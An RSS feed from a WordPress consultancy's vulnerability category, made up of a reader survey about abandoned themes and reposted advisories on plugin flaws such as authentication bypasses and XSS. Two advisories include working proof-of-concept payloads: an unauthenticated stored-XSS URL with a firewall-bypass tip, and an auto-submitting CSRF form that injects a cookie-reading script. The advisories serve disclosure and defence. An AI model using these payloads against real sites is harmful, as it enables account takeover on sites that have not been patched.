<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>WordPress Vulnerabilities Archives - Shawn DeWolfe Consulting</title>
	<atom:link href="https://shawndewolfe.com/category/wordpress-vulnerabilities/feed" rel="self" type="application/rss+xml" />
	<link>https://shawndewolfe.com/category/wordpress-vulnerabilities</link>
	<description>Web Design &#124; WordPress Development &#124; WordPress Support</description>
	<lastBuildDate>Tue, 14 Jul 2020 16:40:43 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.3</generator>

<image>
	<url>https://shawndewolfe.com/wp-content/uploads/2019/05/cropped-favicon-32x32.png</url>
	<title>WordPress Vulnerabilities Archives - Shawn DeWolfe Consulting</title>
	<link>https://shawndewolfe.com/category/wordpress-vulnerabilities</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Help Us Find Dead Themes</title>
		<link>https://shawndewolfe.com/help-us-find-dead-themes.html</link>
					<comments>https://shawndewolfe.com/help-us-find-dead-themes.html#respond</comments>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Thu, 09 Jul 2020 00:20:12 +0000</pubDate>
				<category><![CDATA[WordPress Vulnerabilities]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Web Design]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[PHP56]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/?p=4558</guid>

					<description><![CDATA[<p>With the popularity of WordPress comes the weight of keeping its components current. Over the last couple of years, changes to PHP (the programming language that WordPress is built with) updated. When its standards changed, many WordPress plugins and themes stopped working. Almost every website hosting provider has discontinued support for the defunct versions of PHP. We want to build a list of dead themes and we need your help.</p>
<p>The post <a href="https://shawndewolfe.com/help-us-find-dead-themes.html">Help Us Find Dead Themes</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>One of the best things about WordPress is the cascade of available themes. Finding an excellent theme can be fantastic. One of the downsides: when support lapses or standards change and your site is left high and dry. </p>
<p>What&#8217;s a theme that you loved that is now dead or so buggy you can&#8217;t use it?</p>
<script>
var gform;gform||(document.addEventListener("gform_main_scripts_loaded",function(){gform.scriptsLoaded=!0}),document.addEventListener("gform/theme/scripts_loaded",function(){gform.themeScriptsLoaded=!0}),window.addEventListener("DOMContentLoaded",function(){gform.domLoaded=!0}),gform={domLoaded:!1,scriptsLoaded:!1,themeScriptsLoaded:!1,isFormEditor:()=>"function"==typeof InitializeEditor,callIfLoaded:function(o){return!(!gform.domLoaded||!gform.scriptsLoaded||!gform.themeScriptsLoaded&&!gform.isFormEditor()||(gform.isFormEditor()&&console.warn("The use of gform.initializeOnLoaded() is deprecated in the form editor context and will be removed in Gravity Forms 3.1."),o(),0))},initializeOnLoaded:function(o){gform.callIfLoaded(o)||(document.addEventListener("gform_main_scripts_loaded",()=>{gform.scriptsLoaded=!0,gform.callIfLoaded(o)}),document.addEventListener("gform/theme/scripts_loaded",()=>{gform.themeScriptsLoaded=!0,gform.callIfLoaded(o)}),window.addEventListener("DOMContentLoaded",()=>{gform.domLoaded=!0,gform.callIfLoaded(o)}))},hooks:{action:{},filter:{}},addAction:function(o,r,e,t){gform.addHook("action",o,r,e,t)},addFilter:function(o,r,e,t){gform.addHook("filter",o,r,e,t)},doAction:function(o){gform.doHook("action",o,arguments)},applyFilters:function(o){return gform.doHook("filter",o,arguments)},removeAction:function(o,r){gform.removeHook("action",o,r)},removeFilter:function(o,r,e){gform.removeHook("filter",o,r,e)},addHook:function(o,r,e,t,n){null==gform.hooks[o][r]&&(gform.hooks[o][r]=[]);var d=gform.hooks[o][r];null==n&&(n=r+"_"+d.length),gform.hooks[o][r].push({tag:n,callable:e,priority:t=null==t?10:t})},doHook:function(r,o,e){var t;if(e=Array.prototype.slice.call(e,1),null!=gform.hooks[r][o]&&((o=gform.hooks[r][o]).sort(function(o,r){return o.priority-r.priority}),o.forEach(function(o){"function"!=typeof(t=o.callable)&&(t=window[t]),"action"==r?t.apply(null,e):e[0]=t.apply(null,e)})),"filter"==r)return e[0]},removeHook:function(o,r,t,n){var e;null!=gform.hooks[o][r]&&(e=(e=gform.hooks[o][r]).filter(function(o,r,e){return!!(null!=n&&n!=o.tag||null!=t&&t!=o.priority)}),gform.hooks[o][r]=e)}});
</script>

                <div class='gf_browser_unknown gform_wrapper gform_legacy_markup_wrapper gform-theme--no-framework' data-form-theme='legacy' data-form-index='0' id='gform_wrapper_26' >
                        <div class='gform_heading'>
                            <p class='gform_description'>Can you help you compile a list of dead WordPress themes?</p>
                        </div><form method='post' enctype='multipart/form-data'  id='gform_26'  action='/category/wordpress-vulnerabilities/feed' data-formid='26' novalidate>
                        <div class='gform-body gform_body'><ul id='gform_fields_26' class='gform_fields top_label form_sublabel_below description_below validation_below' data-column-layout='fill'><li id="field_26_8" class="gfield gfield--type-honeypot gform_validation_container field_sublabel_below gfield--has-description field_description_below field_validation_below gfield_visibility_visible"><label id='gfield_label_26_8' class='gfield_label gform-field-label' for='input_26_8'><span class='gform-field-label__text'>Instagram</span></label><div class='ginput_container'><input name='input_8' id='input_26_8' type='text' value='' autocomplete='new-password'/></div><div class='gfield_description' id='gfield_description_26_8'>This field is for validation purposes and should be left unchanged.</div></li><li id="field_26_4" class="gfield gfield--type-text field_sublabel_below gfield--no-description field_description_below field_validation_below gfield_visibility_visible"><label id='gfield_label_26_4' class='gfield_label gform-field-label' for='input_26_4'><span class='gform-field-label__text'>What was the name of the theme?</span></label><div class='ginput_container ginput_container_text'><input name='input_4' id='input_26_4' type='text' value='' class='medium'      aria-invalid="false"   /></div></li><li id="field_26_7" class="gfield gfield--type-text field_sublabel_below gfield--has-description field_description_below field_validation_below gfield_visibility_visible"><label id='gfield_label_26_7' class='gfield_label gform-field-label' for='input_26_7'><span class='gform-field-label__text'>Publisher</span></label><div class='ginput_container ginput_container_text'><input name='input_7' id='input_26_7' type='text' value='' class='medium'  aria-describedby="gfield_description_26_7"    aria-invalid="false"   /></div><div class='gfield_description' id='gfield_description_26_7'>Do you recall the name / url of the publisher?</div></li><li id="field_26_5" class="gfield gfield--type-textarea field_sublabel_below gfield--has-description field_description_below field_validation_below gfield_visibility_visible"><label id='gfield_label_26_5' class='gfield_label gform-field-label' for='input_26_5'><span class='gform-field-label__text'>What was so great?</span></label><div class='ginput_container ginput_container_textarea'><textarea name='input_5' id='input_26_5' class='textarea medium'  aria-describedby="gfield_description_26_5"    aria-invalid="false"   rows='10' cols='50'></textarea></div><div class='gfield_description' id='gfield_description_26_5'>What did you like about it?</div></li><li id="field_26_6" class="gfield gfield--type-textarea field_sublabel_below gfield--has-description field_description_below field_validation_below gfield_visibility_visible"><label id='gfield_label_26_6' class='gfield_label gform-field-label' for='input_26_6'><span class='gform-field-label__text'>Cause of Death</span></label><div class='ginput_container ginput_container_textarea'><textarea name='input_6' id='input_26_6' class='textarea medium'  aria-describedby="gfield_description_26_6"    aria-invalid="false"   rows='10' cols='50'></textarea></div><div class='gfield_description' id='gfield_description_26_6'>What happened to it? Did it start to fail in WordPress? Did the publisher die? Did it stop working with your version of PHP?</div></li><li id="field_26_1" class="gfield gfield--type-email field_sublabel_below gfield--no-description field_description_below field_validation_below gfield_visibility_visible"><label id='gfield_label_26_1' class='gfield_label gform-field-label' for='input_26_1'><span class='gform-field-label__text'>Email</span></label><div class='ginput_container ginput_container_email'>
                            <input name='input_1' id='input_26_1' type='email' value='' class='medium'     aria-invalid="false"  />
                        </div></li><li id="field_26_2" class="gfield gfield--type-consent gfield--type-choice gfield--input-type-consent field_sublabel_below gfield--has-description field_description_below field_validation_below gfield_visibility_visible gfield--choice-align-vertical"><label id='gfield_label_26_2' class='gfield_label gform-field-label gfield_label_before_complex' ><span class='gform-field-label__text'>Consent</span></label><div class='ginput_container ginput_container_consent'><input name='input_2.1' id='input_26_2_1' type='checkbox' value='1'  aria-describedby="gfield_consent_description_26_2" aria-labelledby="input_26_2_1_label gfield_label_26_2"  aria-invalid="false"   /> <label id='input_26_2_1_label' class="gform-field-label gform-field-label--type-inline gfield_consent_label" for='input_26_2_1' ><span class='gform-field-label__text'>I would like to be contacted</span></label><input type='hidden' name='input_2.2' value='I would like to be contacted' class='gform_hidden' /><input type='hidden' name='input_2.3' value='9' class='gform_hidden' /></div><div class='gfield_description gfield_consent_description' id='gfield_consent_description_26_2'><div class='gfield_consent_description_text gform-theme__no-reset--children' tabindex='0'>If you want us to contact you for follow-up check the box.</div></div></li></ul></div>
        <div class='gform-footer gform_footer top_label'> <button type='submit' id='gform_submit_button_26' class='gform_button button' onclick='gform.submission.handleButtonClick(this);' data-submission-type='submit' >Submit</button> 
            <input type='hidden' class='gform_hidden' name='gform_submission_method' data-js='gform_submission_method_26' value='postback' />
            <input type='hidden' class='gform_hidden' name='gform_theme' data-js='gform_theme_26' id='gform_theme_26' value='legacy' />
            <input type='hidden' class='gform_hidden' name='gform_style_settings' data-js='gform_style_settings_26' id='gform_style_settings_26' value='[]' />
            <input type='hidden' class='gform_hidden' name='is_submit_26' value='1' />
            <input type='hidden' class='gform_hidden' name='gform_submit' value='26' />
            
            <input type='hidden' class='gform_hidden' name='gform_currency' data-currency='CAD' value='o0xEH5fphJain5Yh+xB3PiZwYxoeOsXPIop5X2G7I1/W5jtzvZlXcplyhXyKP2WvMcNkIKzbaIHPLdkoTGitNgqc6/y0eMqYGOD/KKDki2iv9xI=' />
            <input type='hidden' class='gform_hidden' name='gform_unique_id' value='' />
            <input type='hidden' class='gform_hidden' name='state_26' value='WyJ7XCIyLjFcIjpcIjdiY2NmMTcxZmIyZTI5ZTllOWJmZTc3MjIwNWQ3MGU5XCIsXCIyLjJcIjpcImNiNjg1MzExOTI1YTg4YWFmYzJhYmVkODJmZWYwYmJjXCIsXCIyLjNcIjpcImVmOTVjMDkwNTU0MmM5MDBjODE5ZWNlODllNzk4MDc5XCIsXCJnZm9ybV9zdWJtaXNzaW9uX21ldGhvZFwiOltcIjk3ZmU2Njk4MDYyYmM3NGVmM2Q1Mzc1ZjgxOGQ5OTlhXCIsXCI2MDUzNGZmMDdmODY2YTFjZDU1ODlhMjRhNjExNWQ2OVwiXSxcImdmb3JtX3RoZW1lXCI6XCJhNjFkODc3ZjFlZTNlZjM1MjFlNGJmMzA4NzA3NDM5M1wiLFwiZ2Zvcm1fc3R5bGVfc2V0dGluZ3NcIjpcImUwMzQ2ZjMzMjI3NDc4YWY5MzZhMGQzNjczZGFlZDBmXCIsXCJmb3JtX2lkXCI6XCJjOGYzMTBlNTlhZjY5MjdhY2FhNTFjNTJlMWM1YzIxZlwiLFwidXJsXCI6XCI4Nzk0NGJiMWNhNGI3NjdlNDQ2NzUyMWQxZGVlZDU4OVwiLFwic3RhdGVfdGltZXN0YW1wXCI6XCI4ZWEyODQ0ODdhNzRjYjcxYmI3ZGZiNjRmMzg1NmQ0YlwifSIsIjFjMDA1OWYyNWVlZDAzOWQ3MjRhNzIwZTYxZjRmYThjIiwxNzkyNjEzOTM3XQ==' />
            <input type='hidden' autocomplete='off' class='gform_hidden' name='gform_target_page_number_26' id='gform_target_page_number_26' value='0' />
            <input type='hidden' autocomplete='off' class='gform_hidden' name='gform_source_page_number_26' id='gform_source_page_number_26' value='1' />
            <input type='hidden' name='gform_field_values' value='' />
            
        </div>
                        </form>
                        </div>
<p>The post <a href="https://shawndewolfe.com/help-us-find-dead-themes.html">Help Us Find Dead Themes</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://shawndewolfe.com/help-us-find-dead-themes.html/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Contact Form Clean and Simple &#060;= 4.7.0 &#8211; Authenticated Stored XSS</title>
		<link>https://shawndewolfe.com/contact-form-clean-and-simple.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Wed, 22 Jan 2020 12:01:06 +0000</pubDate>
				<category><![CDATA[WordPress Vulnerabilities]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/contact-form-clean-and-simple.html</guid>

					<description><![CDATA[<p>Description Contact Form Clean and Simple is vulnerable to Authenticated stored XSS. When a user has admin capabilities, malicious code can be submitted through the plugin's options. This code will then be executed on every page with the contact form on the front-end. Edit (WPScanTeam): January 22nd, 2020 - Escalated to WP plugins team as [&#8230;]</p>
<p>The post <a href="https://shawndewolfe.com/contact-form-clean-and-simple.html">Contact Form Clean and Simple &lt;= 4.7.0 &#8211; Authenticated Stored XSS</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2020/01/contact-form-clean-and-simple.png" class="ff-og-image-inserted"></div>
<td class="title">Description</td>
<td>
<pre class="description">Contact Form Clean and Simple is vulnerable to Authenticated stored XSS. When a user has admin capabilities, malicious code can be submitted through the plugin's options. This code will then be executed on every page with the contact form on the front-end. Edit (WPScanTeam): January 22nd, 2020 - Escalated to WP plugins team as no response from the developer according to the researcher.</pre>
</td>
<p>The post <a href="https://shawndewolfe.com/contact-form-clean-and-simple.html">Contact Form Clean and Simple &lt;= 4.7.0 &#8211; Authenticated Stored XSS</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Batch-Move Posts &#060;= 1.5 &#8211; Broken Authentication leading to Unauthenticated Stored XSS</title>
		<link>https://shawndewolfe.com/batch-move-posts.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Sun, 19 Jan 2020 14:22:39 +0000</pubDate>
				<category><![CDATA[WordPress Vulnerabilities]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/batch-move-posts.html</guid>

					<description><![CDATA[<p>Proof of Concept Vulnerable code is from like 68 to 84. The code gets the value of option `bm_row_amount` from database and matches it with the GET request `row_amount`. If they do not match then it updates the option `bm_row_amount` with the provided GET value. If you follow the file batch.php from top, you may [&#8230;]</p>
<p>The post <a href="https://shawndewolfe.com/batch-move-posts.html">Batch-Move Posts &lt;= 1.5 &#8211; Broken Authentication leading to Unauthenticated Stored XSS</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2020/01/batch-move-posts.png" class="ff-og-image-inserted"></div>
<td class="title">Proof of Concept</td>
<td>
<pre class="poc"><code>Vulnerable code is from like 68 to 84. The code gets the value of option `bm_row_amount` from database and matches it with the GET request `row_amount`. If they do not match then it updates the option `bm_row_amount` with the provided GET value. If you follow the file batch.php from top, you may see that the mentioned code is not dependent of any pre condition i.e. checking if user is admin or csrf tokens etc. This means that anyone from outside can call following URL as an unauthenticated user and the option `bm_row_amount` will get updated. https://example.com/?row_amount="&gt;&lt;script&gt;alert(2)&lt;/script&gt; The GET variable `row_amount` can also be sent as POST to bypass firewall and it will still work. The Payload will trigger on main settings page of the plugin (Posts &gt; Move Categories). https://example.com/wp-admin/edit.php?page=batchadmin</code></pre>
</td>
<p>The post <a href="https://shawndewolfe.com/batch-move-posts.html">Batch-Move Posts &lt;= 1.5 &#8211; Broken Authentication leading to Unauthenticated Stored XSS</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Marketo Forms and Tracking &#060;= 1.0.2 &#8211; CSRF to XSS</title>
		<link>https://shawndewolfe.com/marketo-forms-and-tracking.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Sat, 18 Jan 2020 08:53:46 +0000</pubDate>
				<category><![CDATA[WordPress Vulnerabilities]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/marketo-forms-and-tracking.html</guid>

					<description><![CDATA[<p>&#60;html&#62; &#60;form action="https://[WP]/wp-admin/admin.php?page=marketo_fat" method="POST" id="csrf"&#62; &#60;input type="text" name="marketo_save" value="true"&#62; &#60;input type="text" name="marketo[marketo_id]" value="&#x22;&#x3E;&#x3C;script&#x3E;alert(document.cookie)&#x3C;/script&#x3E;"&#62; &#60;input type="text" name="marketo[marketo_base_url]" value=""&#62; &#60;input type="text" name="marketo[user_id]" value=""&#62; &#60;input type="text" name="marketo[end_point]" value=""&#62; &#60;input type="text" name="marketo[secret]" value=""&#62; &#60;input type="text" name="marketo[popout_title]" value=""&#62; &#60;input type="text" name="marketo[popout_tabtext]" value=""&#62; &#60;input type="text" name="marketo[popout_snippet]" value=""&#62; &#60;input type="text" name="marketo[popout_form]" value=""&#62; &#60;/form&#62; &#60;script&#62; document.getElementById('csrf').submit(); &#60;/script&#62; &#60;/html&#62;</p>
<p>The post <a href="https://shawndewolfe.com/marketo-forms-and-tracking.html">Marketo Forms and Tracking &lt;= 1.0.2 &#8211; CSRF to XSS</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2020/01/marketo-forms-and-tracking.png" class="ff-og-image-inserted"></div>
<pre class="poc"><code>&lt;html&gt; &lt;form action="https://[WP]/wp-admin/admin.php?page=marketo_fat" method="POST" id="csrf"&gt; &lt;input type="text" name="marketo_save" value="true"&gt; &lt;input type="text" name="marketo[marketo_id]" value="&#x22;&#x3E;&#x3C;script&#x3E;alert(document.cookie)&#x3C;/script&#x3E;"&gt; &lt;input type="text" name="marketo[marketo_base_url]" value=""&gt; &lt;input type="text" name="marketo[user_id]" value=""&gt; &lt;input type="text" name="marketo[end_point]" value=""&gt; &lt;input type="text" name="marketo[secret]" value=""&gt; &lt;input type="text" name="marketo[popout_title]" value=""&gt; &lt;input type="text" name="marketo[popout_tabtext]" value=""&gt; &lt;input type="text" name="marketo[popout_snippet]" value=""&gt; &lt;input type="text" name="marketo[popout_form]" value=""&gt; &lt;/form&gt; &lt;script&gt; document.getElementById('csrf').submit(); &lt;/script&gt; &lt;/html&gt;</code></pre>
<p>The post <a href="https://shawndewolfe.com/marketo-forms-and-tracking.html">Marketo Forms and Tracking &lt;= 1.0.2 &#8211; CSRF to XSS</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>InfiniteWP Client &#060; 1.9.4.5 &#8211; Authentication Bypass</title>
		<link>https://shawndewolfe.com/infinitewp-client-1-9-4-5-authentication-bypass.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Fri, 17 Jan 2020 06:57:07 +0000</pubDate>
				<category><![CDATA[WordPress Vulnerabilities]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/infinitewp-client-1-9-4-5-authentication-bypass.html</guid>

					<description><![CDATA[<p>Proof of Concept It is possible to login as any administrator on the site due to logical mistakes in the code. The issue resides in the function iwp_mmb_set_request which is located in the init.php file. This checks if the request_params array of the core class is not empty, which is only set in another function [&#8230;]</p>
<p>The post <a href="https://shawndewolfe.com/infinitewp-client-1-9-4-5-authentication-bypass.html">InfiniteWP Client &lt; 1.9.4.5 &#8211; Authentication Bypass</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2020/01/infinitewp-client-1-9-4-5-authentication-bypass.png" class="ff-og-image-inserted"></div>
<td class="title">Proof of Concept</td>
<td>
<pre class="poc"><code>It is possible to login as any administrator on the site due to logical mistakes in the code. The issue resides in the function iwp_mmb_set_request which is located in the init.php file. This checks if the request_params array of the core class is not empty, which is only set in another function which is only populated when the payload meets certain conditions (in this scenario, the actions readd_site and add_site are the only actions that do not have an authorization check which is why this issue exists.) Once the payload meets these conditions, the username parameter that is supplied will be used to login the requester as that user without performing any further authentication.</code></pre>
</td>
<p>The post <a href="https://shawndewolfe.com/infinitewp-client-1-9-4-5-authentication-bypass.html">InfiniteWP Client &lt; 1.9.4.5 &#8211; Authentication Bypass</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>LearnDash &#060; 3.1.2 &#8211; Reflected Cross Site Scripting (XSS) issue on the [ld_profile] search field.</title>
		<link>https://shawndewolfe.com/learndash-3-1-2-reflected-cross-site-scripting-xss-issue-on-the-ld-profile-search-field.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Thu, 16 Jan 2020 09:56:06 +0000</pubDate>
				<category><![CDATA[WordPress Vulnerabilities]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/learndash-3-1-2-reflected-cross-site-scripting-xss-issue-on-the-ld_profile-search-field.html</guid>

					<description><![CDATA[<p>Description Reflected Cross Site Scripting (XSS) issue on the [ld_profile] search field. First reported to Learndash on January 14, 2020, and update 3.1.2 to fix it was released same day. This report is based on an email LearnDash sent out to their users on January 14, 2020.</p>
<p>The post <a href="https://shawndewolfe.com/learndash-3-1-2-reflected-cross-site-scripting-xss-issue-on-the-ld-profile-search-field.html">LearnDash &lt; 3.1.2 &#8211; Reflected Cross Site Scripting (XSS) issue on the [ld_profile] search field.</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2020/01/learndash-3-1-2-reflected-cross-site-scripting-xss-issue-on-the-ld_profile-search-field.png" class="ff-og-image-inserted"></div>
<td class="title">Description</td>
<td>
<pre class="description">Reflected Cross Site Scripting (XSS) issue on the [ld_profile] search field. First reported to Learndash on January 14, 2020, and update 3.1.2 to fix it was released same day. This report is based on an email LearnDash sent out to their users on January 14, 2020.</pre>
</td>
<p>The post <a href="https://shawndewolfe.com/learndash-3-1-2-reflected-cross-site-scripting-xss-issue-on-the-ld-profile-search-field.html">LearnDash &lt; 3.1.2 &#8211; Reflected Cross Site Scripting (XSS) issue on the [ld_profile] search field.</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Backup and Staging by WP Time Capsule &#060; 1.21.16 &#8211; Authentication Bypass</title>
		<link>https://shawndewolfe.com/backup-and-staging-by-wp-time-capsule-1-21-16-authentication-bypass.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Tue, 14 Jan 2020 10:13:30 +0000</pubDate>
				<category><![CDATA[WordPress Vulnerabilities]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/backup-and-staging-by-wp-time-capsule-1-21-16-authentication-bypass.html</guid>

					<description><![CDATA[<p>Proof of Concept It is possible to login as an administrator on the site due to logical mistakes in the code. The issue resides in wptc-cron-functions.php line 12 where it parses the request. This parse_request function calls the function decode_server_request_wptc which check if the raw POST payload contains a certain string. If it does, it [&#8230;]</p>
<p>The post <a href="https://shawndewolfe.com/backup-and-staging-by-wp-time-capsule-1-21-16-authentication-bypass.html">Backup and Staging by WP Time Capsule &lt; 1.21.16 &#8211; Authentication Bypass</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2020/01/backup-and-staging-by-wp-time-capsule-1-21-16-authentication-bypass.png" class="ff-og-image-inserted"></div>
<td class="title">Proof of Concept</td>
<td>
<pre class="poc"><code>It is possible to login as an administrator on the site due to logical mistakes in the code. The issue resides in wptc-cron-functions.php line 12 where it parses the request. This parse_request function calls the function decode_server_request_wptc which check if the raw POST payload contains a certain string. If it does, it calls wptc_login_as_admin and you'll be logged in as an administrator.</code></pre>
</td>
<p>The post <a href="https://shawndewolfe.com/backup-and-staging-by-wp-time-capsule-1-21-16-authentication-bypass.html">Backup and Staging by WP Time Capsule &lt; 1.21.16 &#8211; Authentication Bypass</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Import Users From CSV with Meta 1.15 &#8211; Unauthorised Authenticated Users Export</title>
		<link>https://shawndewolfe.com/import-users-from-csv-with-meta-1-15-unauthorised-authenticated-users-export.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Fri, 03 Jan 2020 19:26:08 +0000</pubDate>
				<category><![CDATA[WordPress Vulnerabilities]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/import-users-from-csv-with-meta-1-15-unauthorised-authenticated-users-export.html</guid>

					<description><![CDATA[<p>Description The export_users_csv function, registered as an authenticated AJAX call and allowing to export users, was missing the authorisation/capability check. CSRF check was in place, reducing the severity of the issue. Only version 1.15 seems to be affected as the export functionality is a new feature introduced by it.</p>
<p>The post <a href="https://shawndewolfe.com/import-users-from-csv-with-meta-1-15-unauthorised-authenticated-users-export.html">Import Users From CSV with Meta 1.15 &#8211; Unauthorised Authenticated Users Export</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2020/01/import-users-from-csv-with-meta-1-15-unauthorised-authenticated-users-export.png" class="ff-og-image-inserted"></div>
<td class="title">Description</td>
<td>
<pre class="description">The export_users_csv function, registered as an authenticated AJAX call and allowing to export users, was missing the authorisation/capability check. CSRF check was in place, reducing the severity of the issue. Only version 1.15 seems to be affected as the export functionality is a new feature introduced by it.</pre>
</td>
<p>The post <a href="https://shawndewolfe.com/import-users-from-csv-with-meta-1-15-unauthorised-authenticated-users-export.html">Import Users From CSV with Meta 1.15 &#8211; Unauthorised Authenticated Users Export</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ElegantThemes (divi, extra, divi-builder &#060; 4.0.10) &#8211; Authenticated Code Injection</title>
		<link>https://shawndewolfe.com/elegantthemes-divi-extra-divi-builder-4-0-10-authenticated-code-injection.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Fri, 03 Jan 2020 11:58:50 +0000</pubDate>
				<category><![CDATA[WordPress Vulnerabilities]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/elegantthemes-divi-extra-divi-builder-4-0-10-authenticated-code-injection.html</guid>

					<description><![CDATA[<p>Description "A code injection vulnerability was discovered by our team during a routine code audit that could allow logged in contributors, authors and editors to execute a small set of PHP functions." Affected: Divi version 3.23 and above, Extra 2.23 and above Divi Builder version 2.23 and above. Product versions 4.0.10 include the security patch.</p>
<p>The post <a href="https://shawndewolfe.com/elegantthemes-divi-extra-divi-builder-4-0-10-authenticated-code-injection.html">ElegantThemes (divi, extra, divi-builder &lt; 4.0.10) &#8211; Authenticated Code Injection</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2020/01/elegantthemes-divi-extra-divi-builder-4-0-10-authenticated-code-injection.png" class="ff-og-image-inserted"></div>
<td class="title">Description</td>
<td>
<pre class="description">"A code injection vulnerability was discovered by our team during a routine code audit that could allow logged in contributors, authors and editors to execute a small set of PHP functions." Affected: Divi version 3.23 and above, Extra 2.23 and above Divi Builder version 2.23 and above. Product versions 4.0.10 include the security patch.</pre>
</td>
<p>The post <a href="https://shawndewolfe.com/elegantthemes-divi-extra-divi-builder-4-0-10-authenticated-code-injection.html">ElegantThemes (divi, extra, divi-builder &lt; 4.0.10) &#8211; Authenticated Code Injection</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>GDPR Cookie Compliance &#060;= 4.0.2 &#8211; Authenticated Settings Reset</title>
		<link>https://shawndewolfe.com/gdpr-cookie-compliance.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Fri, 27 Dec 2019 09:48:28 +0000</pubDate>
				<category><![CDATA[WordPress Vulnerabilities]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/gdpr-cookie-compliance.html</guid>

					<description><![CDATA[<p>Description The gdpr_cookie_compliance_reset_settings AJAX action registered for authenticated users lacks authorisation and CSRF checks, allowing unauthorised authenticated users to call it, which would result in the settings being reset.</p>
<p>The post <a href="https://shawndewolfe.com/gdpr-cookie-compliance.html">GDPR Cookie Compliance &lt;= 4.0.2 &#8211; Authenticated Settings Reset</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2019/12/gdpr-cookie-compliance.png" class="ff-og-image-inserted"></div>
